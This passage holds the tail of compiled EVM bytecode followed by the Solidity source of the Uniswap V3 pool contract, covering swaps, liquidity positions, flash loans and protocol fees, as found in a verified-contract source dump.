810b900b600090815260208c90526040812080546001600160801b031682615166828d6135ef565b9050846001600160801b0316816001600160801b031611156151b4576040805162461bcd60e51b81526020600482015260026024820152614c4f60f01b604482015290519081900360640190fd5b6001600160801b03828116159082161581141594501561528a578c60020b8e60020b1361525a57600183018b9055600283018a90556003830180547fffffffffff0000000000000000000000000000000000000000ffffffffffffff166701000000000000006001600160a01b038c16021766ffffffffffffff191666ffffffffffffff60068b900b161763ffffffff60d81b1916600160d81b63ffffffff8a16021790555b6003830180547effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff16600160f81b1790555b82546001600160801b0319166001600160801b038216178355856152d35782546152ce906152c990600160801b9004600f90810b810b908f900b6132c3565b613f58565b6152f4565b82546152f4906152c990600160801b9004600f90810b810b908f900b6132a7565b8354600f9190910b6001600160801b03908116600160801b0291161790925550909c9b505050505050505050505050565b8060020b8260020b8161533457fe5b0760020b1561534257600080fd5b60008061535d8360020b8560020b8161535757fe5b056144b6565b600191820b820b60009081526020979097526040909620805460ff9097169190911b90951890945550505050565b600285810b80820b60009081526020899052604080822088850b850b83529082209193849391929184918291908a900b126153d1575050600182015460028301546153e4565b8360010154880391508360020154870390505b6000808b60020b8b60020b121561540657505060018301546002840154615419565b84600101548a0391508460020154890390505b92909803979097039b96909503949094039850939650505050505050565b6040805160a08101825285546001600160801b0390811682526001870154602083015260028701549282019290925260038601548083166060830152600160801b900490911660808201526000600f85900b6154d65781516001600160801b03166154ce576040805162461bcd60e51b815260206004820152600260248201526104e560f41b604482015290519081900360640190fd5b5080516154e5565b81516154e290866135ef565b90505b60006155098360200151860384600001516001600160801b0316600160801b6132d9565b9050600061552f8460400151860385600001516001600160801b0316600160801b6132d9565b905086600f0b6000146155565787546001600160801b0319166001600160801b0384161788555b60018801869055600288018590556001600160801b03821615158061558457506000816001600160801b0316115b156155c2576003880180546001600160801b031981166001600160801b039182168501821617808216600160801b9182900483168501909216021790555b5050505050505050565b600290810b810b6000908152602092909252604082208281556001810183905590810182905560030155565b806001600160a01b0381168114612beb57600080fd5b6040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c081019190915290565b6040805160808101825260008082526020820181905291810182905260608101919091529056fea164736f6c6343000706000a
{{ "language": "Solidity", "sources": { "contracts/UniswapV3Pool.sol": { "content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity =0.7.6;\n\nimport './interfaces/IUniswapV3Pool.sol';\n\nimport './NoDelegateCall.sol';\n\nimport './libraries/LowGasSafeMath.sol';\nimport './libraries/SafeCast.sol';\nimport './libraries/Tick.sol';\nimport './libraries/TickBitmap.sol';\nimport './libraries/Position.sol';\nimport './libraries/Oracle.sol';\n\nimport './libraries/FullMath.sol';\nimport './libraries/FixedPoint128.sol';\nimport './libraries/TransferHelper.sol';\nimport './libraries/TickMath.sol';\nimport './libraries/LiquidityMath.sol';\nimport './libraries/SqrtPriceMath.sol';\nimport './libraries/SwapMath.sol';\n\nimport './interfaces/IUniswapV3PoolDeployer.sol';\nimport './interfaces/IUniswapV3Factory.sol';\nimport './interfaces/IERC20Minimal.sol';\nimport './interfaces/callback/IUniswapV3MintCallback.sol';\nimport './interfaces/callback/IUniswapV3SwapCallback.sol';\nimport './interfaces/callback/IUniswapV3FlashCallback.sol';\n\ncontract UniswapV3Pool is IUniswapV3Pool, NoDelegateCall {\n using LowGasSafeMath for uint256;\n using LowGasSafeMath for int256;\n using SafeCast for uint256;\n using SafeCast for int256;\n using Tick for mapping(int24 => Tick.Info);\n using TickBitmap for mapping(int16 => uint256);\n using Position for mapping(bytes32 => Position.Info);\n using Position for Position.Info;\n using Oracle for Oracle.Observation[65535];\n\n /// @inheritdoc IUniswapV3PoolImmutables\n address public immutable override factory;\n /// @inheritdoc IUniswapV3PoolImmutables\n address public immutable override token0;\n /// @inheritdoc IUniswapV3PoolImmutables\n address public immutable override token1;\n /// @inheritdoc IUniswapV3PoolImmutables\n uint24 public immutable override fee;\n\n /// @inheritdoc IUniswapV3PoolImmutables\n int24 public immutable override tickSpacing;\n\n /// @inheritdoc IUniswapV3PoolImmutables\n uint128 public immutable override maxLiquidityPerTick;\n\n struct Slot0 {\n // the current price\n uint160 sqrtPriceX96;\n // the current tick\n int24 tick;\n // the most-recently updated index of the observations array\n uint16 observationIndex;\n // the current maximum number of observations that are being stored\n uint16 observationCardinality;\n // the next maximum number of observations to store, triggered in observations.write\n uint16 observationCardinalityNext;\n // the current protocol fee as a percentage of the swap fee taken on withdrawal\n // represented as an integer denominator (1/x)%\n uint8 feeProtocol;\n // whether the pool is locked\n bool unlocked;\n }\n /// @inheritdoc IUniswapV3PoolState\n Slot0 public override slot0;\n\n /// @inheritdoc IUniswapV3PoolState\n uint256 public override feeGrowthGlobal0X128;\n /// @inheritdoc IUniswapV3PoolState\n uint256 public override feeGrowthGlobal1X128;\n\n // accumulated protocol fees in token0/token1 units\n struct ProtocolFees {\n uint128 token0;\n uint128 token1;\n }\n /// @inheritdoc IUniswapV3PoolState\n ProtocolFees public override protocolFees;\n\n /// @inheritdoc IUniswapV3PoolState\n uint128 public override liquidity;\n\n /// @inheritdoc IUniswapV3PoolState\n mapping(int24 => Tick.Info) public override ticks;\n /// @inheritdoc IUniswapV3PoolState\n mapping(int16 => uint256) public override tickBitmap;\n /// @inheritdoc IUniswapV3PoolState\n mapping(bytes32 => Position.Info) public override positions;\n /// @inheritdoc IUniswapV3PoolState\n Oracle.Observation[65535] public override observations;\n\n /// @dev Mutually exclusive reentrancy protection into the pool to/from a method. This method also prevents entrance\n /// to a function before the pool is initialized. The reentrancy guard is required throughout the contract because\n /// we use balance checks to determine the payment status of interactions such as mint, swap and flash.\n modifier lock() {\n require(slot0.unlocked, 'LOK');\n slot0.unlocked = false;\n _;\n slot0.unlocked = true;\n }\n\n /// @dev Prevents calling a function from anyone except the address returned by IUniswapV3Factory#owner()\n modifier onlyFactoryOwner() {\n require(msg.sender == IUniswapV3Factory(factory).owner());\n _;\n }\n\n constructor() {\n int24 _tickSpacing;\n (factory, token0, token1, fee, _tickSpacing) = IUniswapV3PoolDeployer(msg.sender).parameters();\n tickSpacing = _tickSpacing;\n\n maxLiquidityPerTick = Tick.tickSpacingToMaxLiquidityPerTick(_tickSpacing);\n }\n\n /// @dev Common checks for valid tick inputs.\n function checkTicks(int24 tickLower, int24 tickUpper) private pure {\n require(tickLower < tickUpper, 'TLU');\n require(tickLower >= TickMath.MIN_TICK, 'TLM');\n require(tickUpper <= TickMath.MAX_TICK, 'TUM');\n }\n\n /// @dev Returns the block timestamp truncated to 32 bits, i.e. mod 2**32. This method is overridden in tests.\n function _blockTimestamp() internal view virtual returns (uint32) {\n return uint32(block.timestamp); // truncation is desired\n }\n\n /// @dev Get the pool's balance of token0\n /// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize\n /// check\n function balance0() private view returns (uint256) {\n (bool success, bytes memory data) =\n token0.staticcall(abi.encodeWithSelector(IERC20Minimal.balanceOf.selector, address(this)));\n require(success && data.length >= 32);\n return abi.decode(data, (uint256));\n }\n\n /// @dev Get the pool's balance of token1\n /// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize\n /// check\n function balance1() private view returns (uint256) {\n (bool success, bytes memory data) =\n token1.staticcall(abi.encodeWithSelector(IERC20Minimal.balanceOf.selector, address(this)));\n require(success && data.length >= 32);\n return abi.decode(data, (uint256));\n }\n\n /// @inheritdoc IUniswapV3PoolDerivedState\n function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)\n external\n view\n override\n noDelegateCall\n returns (\n int56 tickCumulativeInside,\n uint160 secondsPerLiquidityInsideX128,\n uint32 secondsInside\n )\n {\n checkTicks(tickLower, tickUpper);\n\n int56 tickCumulativeLower;\n int56 tickCumulativeUpper;\n uint160 secondsPerLiquidityOutsideLowerX128;\n uint160 secondsPerLiquidityOutsideUpperX128;\n uint32 secondsOutsideLower;\n uint32 secondsOutsideUpper;\n\n {\n Tick.Info storage lower = ticks[tickLower];\n Tick.Info storage upper = ticks[tickUpper];\n bool initializedLower;\n (tickCumulativeLower, secondsPerLiquidityOutsideLowerX128, secondsOutsideLower, initializedLower) = (\n lower.tickCumulativeOutside,\n lower.secondsPerLiquidityOutsideX128,\n lower.secondsOutside,\n lower.initialized\n );\n require(initializedLower);\n\n bool initializedUpper;\n (tickCumulativeUpper, secondsPerLiquidityOutsideUpperX128, secondsOutsideUpper, initializedUpper) = (\n upper.tickCumulativeOutside,\n upper.secondsPerLiquidityOutsideX128,\n upper.secondsOutside,\n upper.initialized\n );\n require(initializedUpper);\n }\n\n Slot0 memory _slot0 = slot0;\n\n if (_slot0.tick < tickLower) {\n return (\n tickCumulativeLower - tickCumulativeUpper,\n secondsPerLiquidityOutsideLowerX128 - secondsPerLiquidityOutsideUpperX128,\n secondsOutsideLower - secondsOutsideUpper\n );\n } else if (_slot0.tick < tickUpper) {\n uint32 time = _blockTimestamp();\n (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) =\n observations.observeSingle(\n time,\n 0,\n _slot0.tick,\n _slot0.observationIndex,\n liquidity,\n _slot0.observationCardinality\n );\n return (\n tickCumulative - tickCumulativeLower - tickCumulativeUpper,\n secondsPerLiquidityCumulativeX128 -\n secondsPerLiquidityOutsideLowerX128 -\n secondsPerLiquidityOutsideUpperX128,\n time - secondsOutsideLower - secondsOutsideUpper\n );\n } else {\n return (\n tickCumulativeUpper - tickCumulativeLower,\n secondsPerLiquidityOutsideUpperX128 - secondsPerLiquidityOutsideLowerX128,\n secondsOutsideUpper - secondsOutsideLower\n );\n }\n }\n\n /// @inheritdoc IUniswapV3PoolDerivedState\n function observe(uint32[] calldata secondsAgos)\n external\n view\n override\n noDelegateCall\n returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s)\n {\n return\n observations.observe(\n _blockTimestamp(),\n secondsAgos,\n slot0.tick,\n slot0.observationIndex,\n liquidity,\n slot0.observationCardinality\n );\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n function increaseObservationCardinalityNext(uint16 observationCardinalityNext)\n external\n override\n lock\n noDelegateCall\n {\n uint16 observationCardinalityNextOld = slot0.observationCardinalityNext; // for the event\n uint16 observationCardinalityNextNew =\n observations.grow(observationCardinalityNextOld, observationCardinalityNext);\n slot0.observationCardinalityNext = observationCardinalityNextNew;\n if (observationCardinalityNextOld != observationCardinalityNextNew)\n emit IncreaseObservationCardinalityNext(observationCardinalityNextOld, observationCardinalityNextNew);\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n /// @dev not locked because it initializes unlocked\n function initialize(uint160 sqrtPriceX96) external override {\n require(slot0.sqrtPriceX96 == 0, 'AI');\n\n int24 tick = TickMath.getTickAtSqrtRatio(sqrtPriceX96);\n\n (uint16 cardinality, uint16 cardinalityNext) = observations.initialize(_blockTimestamp());\n\n slot0 = Slot0({\n sqrtPriceX96: sqrtPriceX96,\n tick: tick,\n observationIndex: 0,\n observationCardinality: cardinality,\n observationCardinalityNext: cardinalityNext,\n feeProtocol: 0,\n unlocked: true\n });\n\n emit Initialize(sqrtPriceX96, tick);\n }\n\n struct ModifyPositionParams {\n // the address that owns the position\n address owner;\n // the lower and upper tick of the position\n int24 tickLower;\n int24 tickUpper;\n // any change in liquidity\n int128 liquidityDelta;\n }\n\n /// @dev Effect some changes to a position\n /// @param params the position details and the change to the position's liquidity to effect\n /// @return position a storage pointer referencing the position with the given owner and tick range\n /// @return amount0 the amount of token0 owed to the pool, negative if the pool should pay the recipient\n /// @return amount1 the amount of token1 owed to the pool, negative if the pool should pay the recipient\n function _modifyPosition(ModifyPositionParams memory params)\n private\n noDelegateCall\n returns (\n Position.Info storage position,\n int256 amount0,\n int256 amount1\n )\n {\n checkTicks(params.tickLower, params.tickUpper);\n\n Slot0 memory _slot0 = slot0; // SLOAD for gas optimization\n\n position = _updatePosition(\n params.owner,\n params.tickLower,\n params.tickUpper,\n params.liquidityDelta,\n _slot0.tick\n );\n\n if (params.liquidityDelta != 0) {\n if (_slot0.tick < params.tickLower) {\n // current tick is below the passed range; liquidity can only become in range by crossing from left to\n // right, when we'll need _more_ token0 (it's becoming more valuable) so user must provide it\n amount0 = SqrtPriceMath.getAmount0Delta(\n TickMath.getSqrtRatioAtTick(params.tickLower),\n TickMath.getSqrtRatioAtTick(params.tickUpper),\n params.liquidityDelta\n );\n } else if (_slot0.tick < params.tickUpper) {\n // current tick is inside the passed range\n uint128 liquidityBefore = liquidity; // SLOAD for gas optimization\n\n // write an oracle entry\n (slot0.observationIndex, slot0.observationCardinality) = observations.write(\n _slot0.observationIndex,\n _blockTimestamp(),\n _slot0.tick,\n liquidityBefore,\n _slot0.observationCardinality,\n _slot0.observationCardinalityNext\n );\n\n amount0 = SqrtPriceMath.getAmount0Delta(\n _slot0.sqrtPriceX96,\n TickMath.getSqrtRatioAtTick(params.tickUpper),\n params.liquidityDelta\n );\n amount1 = SqrtPriceMath.getAmount1Delta(\n TickMath.getSqrtRatioAtTick(params.tickLower),\n _slot0.sqrtPriceX96,\n params.liquidityDelta\n );\n\n liquidity = LiquidityMath.addDelta(liquidityBefore, params.liquidityDelta);\n } else {\n // current tick is above the passed range; liquidity can only become in range by crossing from right to\n // left, when we'll need _more_ token1 (it's becoming more valuable) so user must provide it\n amount1 = SqrtPriceMath.getAmount1Delta(\n TickMath.getSqrtRatioAtTick(params.tickLower),\n TickMath.getSqrtRatioAtTick(params.tickUpper),\n params.liquidityDelta\n );\n }\n }\n }\n\n /// @dev Gets and updates a position with the given liquidity delta\n /// @param owner the owner of the position\n /// @param tickLower the lower tick of the position's tick range\n /// @param tickUpper the upper tick of the position's tick range\n /// @param tick the current tick, passed to avoid sloads\n function _updatePosition(\n address owner,\n int24 tickLower,\n int24 tickUpper,\n int128 liquidityDelta,\n int24 tick\n ) private returns (Position.Info storage position) {\n position = positions.get(owner, tickLower, tickUpper);\n\n uint256 _feeGrowthGlobal0X128 = feeGrowthGlobal0X128; // SLOAD for gas optimization\n uint256 _feeGrowthGlobal1X128 = feeGrowthGlobal1X128; // SLOAD for gas optimization\n\n // if we need to update the ticks, do it\n bool flippedLower;\n bool flippedUpper;\n if (liquidityDelta != 0) {\n uint32 time = _blockTimestamp();\n (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) =\n observations.observeSingle(\n time,\n 0,\n slot0.tick,\n slot0.observationIndex,\n liquidity,\n slot0.observationCardinality\n );\n\n flippedLower = ticks.update(\n tickLower,\n tick,\n liquidityDelta,\n _feeGrowthGlobal0X128,\n _feeGrowthGlobal1X128,\n secondsPerLiquidityCumulativeX128,\n tickCumulative,\n time,\n false,\n maxLiquidityPerTick\n );\n flippedUpper = ticks.update(\n tickUpper,\n tick,\n liquidityDelta,\n _feeGrowthGlobal0X128,\n _feeGrowthGlobal1X128,\n secondsPerLiquidityCumulativeX128,\n tickCumulative,\n time,\n true,\n maxLiquidityPerTick\n );\n\n if (flippedLower) {\n tickBitmap.flipTick(tickLower, tickSpacing);\n }\n if (flippedUpper) {\n tickBitmap.flipTick(tickUpper, tickSpacing);\n }\n }\n\n (uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) =\n ticks.getFeeGrowthInside(tickLower, tickUpper, tick, _feeGrowthGlobal0X128, _feeGrowthGlobal1X128);\n\n position.update(liquidityDelta, feeGrowthInside0X128, feeGrowthInside1X128);\n\n // clear any tick data that is no longer needed\n if (liquidityDelta < 0) {\n if (flippedLower) {\n ticks.clear(tickLower);\n }\n if (flippedUpper) {\n ticks.clear(tickUpper);\n }\n }\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n /// @dev noDelegateCall is applied indirectly via _modifyPosition\n function mint(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount,\n bytes calldata data\n ) external override lock returns (uint256 amount0, uint256 amount1) {\n require(amount > 0);\n (, int256 amount0Int, int256 amount1Int) =\n _modifyPosition(\n ModifyPositionParams({\n owner: recipient,\n tickLower: tickLower,\n tickUpper: tickUpper,\n liquidityDelta: int256(amount).toInt128()\n })\n );\n\n amount0 = uint256(amount0Int);\n amount1 = uint256(amount1Int);\n\n uint256 balance0Before;\n uint256 balance1Before;\n if (amount0 > 0) balance0Before = balance0();\n if (amount1 > 0) balance1Before = balance1();\n IUniswapV3MintCallback(msg.sender).uniswapV3MintCallback(amount0, amount1, data);\n if (amount0 > 0) require(balance0Before.add(amount0) <= balance0(), 'M0');\n if (amount1 > 0) require(balance1Before.add(amount1) <= balance1(), 'M1');\n\n emit Mint(msg.sender, recipient, tickLower, tickUpper, amount, amount0, amount1);\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n function collect(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external override lock returns (uint128 amount0, uint128 amount1) {\n // we don't need to checkTicks here, because invalid positions will never have non-zero tokensOwed{0,1}\n Position.Info storage position = positions.get(msg.sender, tickLower, tickUpper);\n\n amount0 = amount0Requested > position.tokensOwed0 ? position.tokensOwed0 : amount0Requested;\n amount1 = amount1Requested > position.tokensOwed1 ? position.tokensOwed1 : amount1Requested;\n\n if (amount0 > 0) {\n position.tokensOwed0 -= amount0;\n TransferHelper.safeTransfer(token0, recipient, amount0);\n }\n if (amount1 > 0) {\n position.tokensOwed1 -= amount1;\n TransferHelper.safeTransfer(token1, recipient, amount1);\n }\n\n emit Collect(msg.sender, recipient, tickLower, tickUpper, amount0, amount1);\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n /// @dev noDelegateCall is applied indirectly via _modifyPosition\n function burn(\n int24 tickLower,\n int24 tickUpper,\n uint128 amount\n ) external override lock returns (uint256 amount0, uint256 amount1) {\n (Position.Info storage position, int256 amount0Int, int256 amount1Int) =\n _modifyPosition(\n ModifyPositionParams({\n owner: msg.sender,\n tickLower: tickLower,\n tickUpper: tickUpper,\n liquidityDelta: -int256(amount).toInt128()\n })\n );\n\n amount0 = uint256(-amount0Int);\n amount1 = uint256(-amount1Int);\n\n if (amount0 > 0 || amount1 > 0) {\n (position.tokensOwed0, position.tokensOwed1) = (\n position.tokensOwed0 + uint128(amount0),\n position.tokensOwed1 + uint128(amount1)\n );\n }\n\n emit Burn(msg.sender, tickLower, tickUpper, amount, amount0, amount1);\n }\n\n struct SwapCache {\n // the protocol fee for the input token\n uint8 feeProtocol;\n // liquidity at the beginning of the swap\n uint128 liquidityStart;\n // the timestamp of the current block\n uint32 blockTimestamp;\n // the current value of the tick accumulator, computed only if we cross an initialized tick\n int56 tickCumulative;\n // the current value of seconds per liquidity accumulator, computed only if we cross an initialized tick\n uint160 secondsPerLiquidityCumulativeX128;\n // whether we've computed and cached the above two accumulators\n bool computedLatestObservation;\n }\n\n // the top level state of the swap, the results of which are recorded in storage at the end\n struct SwapState {\n // the amount remaining to be swapped in/out of the input/output asset\n int256 amountSpecifiedRemaining;\n // the amount already swapped out/in of the output/input asset\n int256 amountCalculated;\n // current sqrt(price)\n uint160 sqrtPriceX96;\n // the tick associated with the current price\n int24 tick;\n // the global fee growth of the input token\n uint256 feeGrowthGlobalX128;\n // amount of input token paid as protocol fee\n uint128 protocolFee;\n // the current liquidity in range\n uint128 liquidity;\n }\n\n struct StepComputations {\n // the price at the beginning of the step\n uint160 sqrtPriceStartX96;\n // the next tick to swap to from the current tick in the swap direction\n int24 tickNext;\n // whether tickNext is initialized or not\n bool initialized;\n // sqrt(price) for the next tick (1/0)\n uint160 sqrtPriceNextX96;\n // how much is being swapped in in this step\n uint256 amountIn;\n // how much is being swapped out\n uint256 amountOut;\n // how much fee is being paid in\n uint256 feeAmount;\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external override noDelegateCall returns (int256 amount0, int256 amount1) {\n require(amountSpecified != 0, 'AS');\n\n Slot0 memory slot0Start = slot0;\n\n require(slot0Start.unlocked, 'LOK');\n require(\n zeroForOne\n ? sqrtPriceLimitX96 < slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 > TickMath.MIN_SQRT_RATIO\n : sqrtPriceLimitX96 > slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 < TickMath.MAX_SQRT_RATIO,\n 'SPL'\n );\n\n slot0.unlocked = false;\n\n SwapCache memory cache =\n SwapCache({\n liquidityStart: liquidity,\n blockTimestamp: _blockTimestamp(),\n feeProtocol: zeroForOne ? (slot0Start.feeProtocol % 16) : (slot0Start.feeProtocol >> 4),\n secondsPerLiquidityCumulativeX128: 0,\n tickCumulative: 0,\n computedLatestObservation: false\n });\n\n bool exactInput = amountSpecified > 0;\n\n SwapState memory state =\n SwapState({\n amountSpecifiedRemaining: amountSpecified,\n amountCalculated: 0,\n sqrtPriceX96: slot0Start.sqrtPriceX96,\n tick: slot0Start.tick,\n feeGrowthGlobalX128: zeroForOne ? feeGrowthGlobal0X128 : feeGrowthGlobal1X128,\n protocolFee: 0,\n liquidity: cache.liquidityStart\n });\n\n // continue swapping as long as we haven't used the entire input/output and haven't reached the price limit\n while (state.amountSpecifiedRemaining != 0 && state.sqrtPriceX96 != sqrtPriceLimitX96) {\n StepComputations memory step;\n\n step.sqrtPriceStartX96 = state.sqrtPriceX96;\n\n (step.tickNext, step.initialized) = tickBitmap.nextInitializedTickWithinOneWord(\n state.tick,\n tickSpacing,\n zeroForOne\n );\n\n // ensure that we do not overshoot the min/max tick, as the tick bitmap is not aware of these bounds\n if (step.tickNext < TickMath.MIN_TICK) {\n step.tickNext = TickMath.MIN_TICK;\n } else if (step.tickNext > TickMath.MAX_TICK) {\n step.tickNext = TickMath.MAX_TICK;\n }\n\n // get the price for the next tick\n step.sqrtPriceNextX96 = TickMath.getSqrtRatioAtTick(step.tickNext);\n\n // compute values to swap to the target tick, price limit, or point where input/output amount is exhausted\n (state.sqrtPriceX96, step.amountIn, step.amountOut, step.feeAmount) = SwapMath.computeSwapStep(\n state.sqrtPriceX96,\n (zeroForOne ? step.sqrtPriceNextX96 < sqrtPriceLimitX96 : step.sqrtPriceNextX96 > sqrtPriceLimitX96)\n ? sqrtPriceLimitX96\n : step.sqrtPriceNextX96,\n state.liquidity,\n state.amountSpecifiedRemaining,\n fee\n );\n\n if (exactInput) {\n state.amountSpecifiedRemaining -= (step.amountIn + step.feeAmount).toInt256();\n state.amountCalculated = state.amountCalculated.sub(step.amountOut.toInt256());\n } else {\n state.amountSpecifiedRemaining += step.amountOut.toInt256();\n state.amountCalculated = state.amountCalculated.add((step.amountIn + step.feeAmount).toInt256());\n }\n\n // if the protocol fee is on, calculate how much is owed, decrement feeAmount, and increment protocolFee\n if (cache.feeProtocol > 0) {\n uint256 delta = step.feeAmount / cache.feeProtocol;\n step.feeAmount -= delta;\n state.protocolFee += uint128(delta);\n }\n\n // update global fee tracker\n if (state.liquidity > 0)\n state.feeGrowthGlobalX128 += FullMath.mulDiv(step.feeAmount, FixedPoint128.Q128, state.liquidity);\n\n // shift tick if we reached the next price\n if (state.sqrtPriceX96 == step.sqrtPriceNextX96) {\n // if the tick is initialized, run the tick transition\n if (step.initialized) {\n // check for the placeholder value, which we replace with the actual value the first time the swap\n // crosses an initialized tick\n if (!cache.computedLatestObservation) {\n (cache.tickCumulative, cache.secondsPerLiquidityCumulativeX128) = observations.observeSingle(\n cache.blockTimestamp,\n 0,\n slot0Start.tick,\n slot0Start.observationIndex,\n cache.liquidityStart,\n slot0Start.observationCardinality\n );\n cache.computedLatestObservation = true;\n }\n int128 liquidityNet =\n ticks.cross(\n step.tickNext,\n (zeroForOne ? state.feeGrowthGlobalX128 : feeGrowthGlobal0X128),\n (zeroForOne ? feeGrowthGlobal1X128 : state.feeGrowthGlobalX128),\n cache.secondsPerLiquidityCumulativeX128,\n cache.tickCumulative,\n cache.blockTimestamp\n );\n // if we're moving leftward, we interpret liquidityNet as the opposite sign\n // safe because liquidityNet cannot be type(int128).min\n if (zeroForOne) liquidityNet = -liquidityNet;\n\n state.liquidity = LiquidityMath.addDelta(state.liquidity, liquidityNet);\n }\n\n state.tick = zeroForOne ? step.tickNext - 1 : step.tickNext;\n } else if (state.sqrtPriceX96 != step.sqrtPriceStartX96) {\n // recompute unless we're on a lower tick boundary (i.e. already transitioned ticks), and haven't moved\n state.tick = TickMath.getTickAtSqrtRatio(state.sqrtPriceX96);\n }\n }\n\n // update tick and write an oracle entry if the tick change\n if (state.tick != slot0Start.tick) {\n (uint16 observationIndex, uint16 observationCardinality) =\n observations.write(\n slot0Start.observationIndex,\n cache.blockTimestamp,\n slot0Start.tick,\n cache.liquidityStart,\n slot0Start.observationCardinality,\n slot0Start.observationCardinalityNext\n );\n (slot0.sqrtPriceX96, slot0.tick, slot0.observationIndex, slot0.observationCardinality) = (\n state.sqrtPriceX96,\n state.tick,\n observationIndex,\n observationCardinality\n );\n } else {\n // otherwise just update the price\n slot0.sqrtPriceX96 = state.sqrtPriceX96;\n }\n\n // update liquidity if it changed\n if (cache.liquidityStart != state.liquidity) liquidity = state.liquidity;\n\n // update fee growth global and, if necessary, protocol fees\n // overflow is acceptable, protocol has to withdraw before it hits type(uint128).max fees\n if (zeroForOne) {\n feeGrowthGlobal0X128 = state.feeGrowthGlobalX128;\n if (state.protocolFee > 0) protocolFees.token0 += state.protocolFee;\n } else {\n feeGrowthGlobal1X128 = state.feeGrowthGlobalX128;\n if (state.protocolFee > 0) protocolFees.token1 += state.protocolFee;\n }\n\n (amount0, amount1) = zeroForOne == exactInput\n ? (amountSpecified - state.amountSpecifiedRemaining, state.amountCalculated)\n : (state.amountCalculated, amountSpecified - state.amountSpecifiedRemaining);\n\n // do the transfers and collect payment\n if (zeroForOne) {\n if (amount1 < 0) TransferHelper.safeTransfer(token1, recipient, uint256(-amount1));\n\n uint256 balance0Before = balance0();\n IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback(amount0, amount1, data);\n require(balance0Before.add(uint256(amount0)) <= balance0(), 'IIA');\n } else {\n if (amount0 < 0) TransferHelper.safeTransfer(token0, recipient, uint256(-amount0));\n\n uint256 balance1Before = balance1();\n IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback(amount0, amount1, data);\n require(balance1Before.add(uint256(amount1)) <= balance1(), 'IIA');\n }\n\n emit Swap(msg.sender, recipient, amount0, amount1, state.sqrtPriceX96, state.liquidity, state.tick);\n slot0.unlocked = true;\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n function flash(\n address recipient,\n uint256 amount0,\n uint256 amount1,\n bytes calldata data\n ) external override lock noDelegateCall {\n uint128 _liquidity = liquidity;\n require(_liquidity > 0, 'L');\n\n uint256 fee0 = FullMath.mulDivRoundingUp(amount0, fee, 1e6);\n uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e6);\n uint256 balance0Before = balance0();\n uint256 balance1Before = balance1();\n\n if (amount0 > 0) TransferHelper.safeTransfer(token0, recipient, amount0);\n if (amount1 > 0) TransferHelper.safeTransfer(token1, recipient, amount1);\n\n IUniswapV3FlashCallback(msg.sender).uniswapV3FlashCallback(fee0, fee1, data);\n\n uint256 balance0After = balance0();\n uint256 balance1After = balance1();\n\n require(balance0Before.add(fee0) <= balance0After, 'F0');\n require(balance1Before.add(fee1) <= balance1After, 'F1');\n\n // sub is safe because we know balanceAfter is gt balanceBefore by at least fee\n uint256 paid0 = balance0After - balance0Before;\n uint256 paid1 = balance1After - balance1Before;\n\n if (paid0 > 0) {\n uint8 feeProtocol0 = slot0.feeProtocol % 16;\n uint256 fees0 = feeProtocol0 == 0 ? 0 : paid0 / feeProtocol0;\n if (uint128(fees0) > 0) protocolFees.token0 += uint128(fees0);\n feeGrowthGlobal0X128 += FullMath.mulDiv(paid0 - fees0, FixedPoint128.Q128, _liquidity);\n }\n if (paid1 > 0) {\n uint8 feeProtocol1 = slot0.feeProtocol >> 4;\n uint256 fees1 = feeProtocol1 == 0 ? 0 : paid1 / feeProtocol1;\n if (uint128(fees1) > 0) protocolFees.token1 += uint128(fees1);\n feeGrowthGlobal1X128 += FullMath.mulDiv(paid1 - fees1, FixedPoint128.Q128, _liquidity);\n }\n\n emit Flash(msg.sender, recipient, amount0, amount1, paid0, paid1);\n }\n\n /// @inheritdoc IUniswapV3PoolOwnerActions\n function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external override lock onlyFactoryOwner {\n require(\n (feeProtocol0 == 0 || (feeProtocol0 >= 4 && feeProtocol0 <= 10)) &&\n (feeProtocol1 == 0 || (feeProtocol1 >= 4 && feeProtocol1 <= 10))\n );\n uint8 feeProtocolOld = slot0.feeProtocol;\n slot0.feeProtocol = feeProtocol0 + (feeProtocol1 << 4);\n emit SetFeeProtocol(feeProtocolOld % 16, feeProtocolOld >> 4, feeProtocol0, feeProtocol1);\n }\n\n /// @inheritdoc IUniswapV3PoolOwnerActions\n function collectProtocol(\n address recipient,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external override lock onlyFactoryOwner returns (uint128 amount0, uint128 amount1) {\n amount0 = amount0Requested > protocolFees.token0 ? protocolFees.token0 : amount0Requested;\n amount1 = amount1Requested > protocolFees.token1 ? protocolFees.token1 : amount1Requested;\n\n if (amount0 > 0) {\n if (amount0 == protocolFees.token0) amount0--; // ensure that the slot is not cleared, for gas savings\n protocolFees.token0 -= amount0;\n TransferHelper.safeTransfer(token0, recipient, amount0);\n }\n if (amount1 > 0) {\n if (amount1 == protocolFees.token1) amount1--; // ensure that the slot is not cleared, for gas savings\n protocolFees.token1 -= amount1;\n TransferHelper.safeTransfer(token1, recipient, amount1);\n }\n\n emit CollectProtocol(msg.sender, recipient, amount0, amount1);\n }\n}\n" }, 